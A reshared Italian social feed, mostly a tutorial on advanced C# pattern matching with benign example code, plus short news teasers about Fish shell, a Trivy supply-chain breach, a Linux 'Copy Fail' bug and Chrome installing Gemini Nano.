Fish Shell, (acronimo di Friendly Interactive Shell) spesso indicata semplicemente come fish, è una shell a riga di comando moderna, progettata per offrire un’esperienza d’uso più intuitiva rispetto alle shell tradizionali come Bash (Bourne Again SHell), Zsh (Z Shell) o Ksh (Korn Shell). Si tratta di...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Pattern matching in C#: scenari avanzati che probabilmente non conosci


Il pattern matching in C# offre molto più dei semplici controlli di tipo. Esploriamo i pattern avanzati — property, list, relational, switch expression — con esempi pratici per sviluppatori .NET.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il pattern matching in C# non è solo un modo più elegante di scrivere condizioni: è un cambio di paradigma nel modo in cui si ragiona sulla struttura dei dati. A partire da C# 7 e con evoluzioni significative nelle versioni successive, il pattern matching è diventato uno strumento potentissimo per scrivere codice più leggibile, manutenibile e talvolta anche più efficiente.

In questo articolo esploreremo i pattern avanzati che molti sviluppatori .NET tendono a ignorare o a sottoutilizzare, partendo da un progetto concreto che dimostra ogni scenario.

Setup del progetto di esempio


Prima di tutto, creiamo un’applicazione console di test:

dotnet new console -n PatternMatchingDemo
cd PatternMatchingDemo

Definiamo i modelli come record, ideali per il pattern matching grazie alla loro natura value-based:
namespace PatternMatchingDemo.Records;

public record Address(string City, string Country);
public record User(string Name, int Age, Address Address, List<string> Roles);
public record Request(string Source, int Priority);
public record Point(int X, int Y);

E popoliamo alcune collezioni di test:
var users = new List<User>
{
    new("Ali", 25, new Address("Milano", "Italy"), new List<string> { "Admin", "User" }),
    new("Sara", 17, new Address("Roma", "Italy"), new List<string> { "User" }),
    new("Kennedy", 65, new Address("London", "UK"), new List<string> { "Guest" })
};

var requests = new List<Request>
{
    new("System", 10),
    new("User", 3),
    new("System", 2)
};

Property Pattern: matching annidato


Uno dei pattern più utili è il property pattern, che permette di verificare le proprietà di un oggetto direttamente nell’espressione di matching, incluse proprietà annidate:

foreach (var user in users)
{
    if (user is { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} è di Milano");
    }
}

Il confronto tradizionale richiederebbe:
if (user != null && user.Address != null && user.Address.City == "Milano")

La versione con property pattern è non solo più compatta, ma anche null-safe per definizione: se user o user.Address sono null, il pattern semplicemente non matcha.

Pattern con not: negazione elegante

foreach (var user in users)
{
    if (user is not { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} non è di Milano");
    }
}

Il keyword not inverte il risultato del pattern, rendendo esplicito il significato senza bisogno di operatori logici aggiuntivi.

Matching su casi multipli con or

foreach (var user in users)
{
    if (user is { Address.City: "Milano" or "Roma" })
    {
        Console.WriteLine($"{user.Name} vive in una grande città italiana");
    }
}

Il combinatore or all’interno di un pattern è molto più leggibile di una serie di condizioni concatenate con ||, specialmente quando le condizioni riguardano la stessa proprietà.

Pattern Matching dentro LINQ


Il pattern matching si integra perfettamente con LINQ, permettendo query molto espressive:

var adultiItaliani = users
    .Where(u => u is { Age: > 18, Address.Country: "Italy" })
    .ToList();

foreach (var user in adultiItaliani)
{
    Console.WriteLine($"{user.Name} è un adulto italiano");
}

Questa combinazione è particolarmente potente per filtrare DTO complessi, validare oggetti di dominio o implementare query su collezioni in memoria.

Pattern relazionali e logici


I pattern relazionali (>, <, >=, <=) combinati con i pattern logici (and, or) permettono di esprimere range e condizioni composite in modo molto naturale:

foreach (var user in users)
{
    if (user.Age is > 18 and < 60)
    {
        Console.WriteLine($"{user.Name} è un adulto lavorativo");
    }
    else if (user.Age is < 18 or > 60)
    {
        Console.WriteLine($"{user.Name} appartiene a una categoria di età speciale");
    }
}

Switch Expression


La switch expression (introdotta in C# 8) è una versione compatta e restituisce un valore. Elimina la verbosità del tradizionale switch statement:

foreach (var user in users)
{
    var categoria = user.Age switch
    {
        < 13 => "Bambino",
        < 20 => "Adolescente",
        < 60 => "Adulto",
        _     => "Senior"
    };

    Console.WriteLine($"{user.Name} => {categoria}");
}

Rispetto allo switch classico, la versione expression è più concisa, obbliga a coprire tutti i casi (o aggiungere il wildcard _) e restituisce direttamente un valore senza variabili intermedie.

Pattern Type + Condition


Il pattern di tipo permette di verificare il tipo di un oggetto e aggiungere una condizione contemporaneamente:

object value = 150;

// Modo tradizionale
if (value is int number && number > 100)
{
    Console.WriteLine("Numero grande (vecchio stile)");
}

// Con pattern matching
if (value is int and > 100)
{
    Console.WriteLine("Numero grande (pattern matching)");
}

Questo è particolarmente utile quando si lavora con object, dynamic, o con gerarchie di tipi complesse.

List Pattern (C# 11+)


Introdotto in C# 11, il list pattern consente di matchare la struttura e il contenuto di array e liste:

int[] nums = { 1, 2, 3 };

if (nums is [1, 2, 3])
{
    Console.WriteLine("Match esatto");
}

if (nums is [1, .., 3])
{
    Console.WriteLine("Inizia con 1 e finisce con 3");
}

if (nums is [_, _, _])
{
    Console.WriteLine("Array con esattamente 3 elementi");
}

Il slice pattern .. è molto flessibile: può matchare zero o più elementi nel mezzo di una sequenza. Questo pattern è molto utile per validare payload di API che arrivano come array, controllare header HTTP, o verificare strutture di dati fisse.

Positional Pattern

var point = new Point(10, 20);

if (point is (10, 20))
{
    Console.WriteLine("Il punto è (10,20)");
}

// Con switch expression
var descrizione = point switch
{
    (0, 0) => "Origine",
    (_, 0) => "Sull'asse X",
    (0, _) => "Sull'asse Y",
    _      => $"Punto generico ({point.X},{point.Y})"
};
Console.WriteLine(descrizione);

Il positional pattern decostruisce l’oggetto usando il metodo Deconstruct (disponibile automaticamente per i record) e permette di matchare ogni componente individualmente.

Combined Pattern: la vera potenza


Combinare più pattern insieme permette di esprimere logica di business complessa in modo dichiarativo:

foreach (var user in users)
{
    if (user is
        {
            Age: > 18,
            Address.Country: "Italy",
            Roles: ["Admin", ..]
        })
    {
        Console.WriteLine($"{user.Name} è un admin adulto italiano");
    }
}

Questo esempio combina property pattern annidato, relational pattern e list pattern in un’unica espressione. In scenari reali, questa tecnica è applicabile per authorization checks, validazione di DTO, o routing di request handler.

Null Pattern

User? maybeUser = null;

if (maybeUser is not null)
{
    Console.WriteLine("L'utente esiste");
}
else
{
    Console.WriteLine("L'utente è null");
}

Il null pattern con is not null è semanticamente più preciso di != null in contesti di nullable reference types, ed è la forma raccomandata nelle linee guida di C# moderno.

Guard Clause nelle switch expression

int number = 7;

var result = number switch
{
    int n when n % 2 == 0 => "Pari",
    int n when n % 2 != 0 => "Dispari",
    _ => "Sconosciuto"
};

Console.WriteLine(result);

La clausola when aggiunge una condizione aggiuntiva a un pattern. Utile quando il solo pattern non è sufficiente a discriminare i casi.

Request Handling pattern


Un esempio pratico di uso combinato in un sistema di routing delle request:

foreach (var request in requests)
{
    var response = request switch
    {
        { Source: "System", Priority: > 5 } => "Richiesta di sistema critica",
        { Source: "User",   Priority: <= 5 } => "Richiesta utente normale",
        _ => "Fallback generico"
    };

    Console.WriteLine($"{request.Source} ({request.Priority}) => {response}");
}

Questo schema è applicabile in moltissimi contesti: event sourcing, command dispatcher, middleware pipeline, validazione di business rules.

Considerazioni sulle performance


Oltre alla leggibilità, il pattern matching in C# è progettato per essere efficiente. Il compilatore ottimizza le switch expression in jump table o sequenze di confronto ottimizzate. Per tipi primitivi, le performance sono equivalenti o superiori a catene di if-else.

Per scenari di alta performance con molti branch (es. parser, protocol handler), vale la pena misurare con BenchmarkDotNet, ma nella stragrande maggioranza dei casi applicativi il pattern matching non introduce overhead significativo.

Conclusione


Il pattern matching in C# è uno strumento che va ben oltre il semplice is o lo switch. Combinando property pattern, list pattern, relational pattern e switch expression, è possibile scrivere logica complessa in modo dichiarativo e leggibile.

La chiave per sfruttarlo al meglio è conoscere tutti i tipi di pattern disponibili e riconoscere le situazioni in cui possono sostituire costrutti più verbosi. Un codice che legge come il problema che risolve è un codice di qualità superiore.

Il codice sorgente di esempio è disponibile su GitHub: github.com/elmahio-blog/Patter…


Fonte originale: Pattern matching in C#: Advanced scenarios you didn’t know — elmah.io Blog

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Quella che per Trivy è stata una semplice breccia, per Checkmarx e Bitwarden è diventata una catastrofe


Ci sono tante lezioni da imparare a proposito dell'attacco subito da Trivy, soprattutto per le devastanti conseguenze che i progetti correlati stanno ancora quantificando.

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Linux sotto attacco: perché devi risolvere subito il bug “Copy Fail”


Scopri cos’è la vulnerabilità Copy Fail che colpisce Linux e come proteggere subito il tuo sistema prima che venga compromesso.
L'articolo Linux sotto attacco: perché devi risolvere subito il bug “Copy Fail” proviene da Marco's Box.

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Google Chrome installa un modello AI da 4 GB senza consenso


Google Chrome installa silenziosamente il modello AI Gemini Nano da 4GB sui dispositivi degli utenti: scopri cosa sta succedendo, i rischi per privacy e spazio.
L'articolo Google Chrome installa un modello AI da 4 GB senza consenso proviene da Marco's Box.

🔗 Leggi il post completo

Dario Fadda reshared this.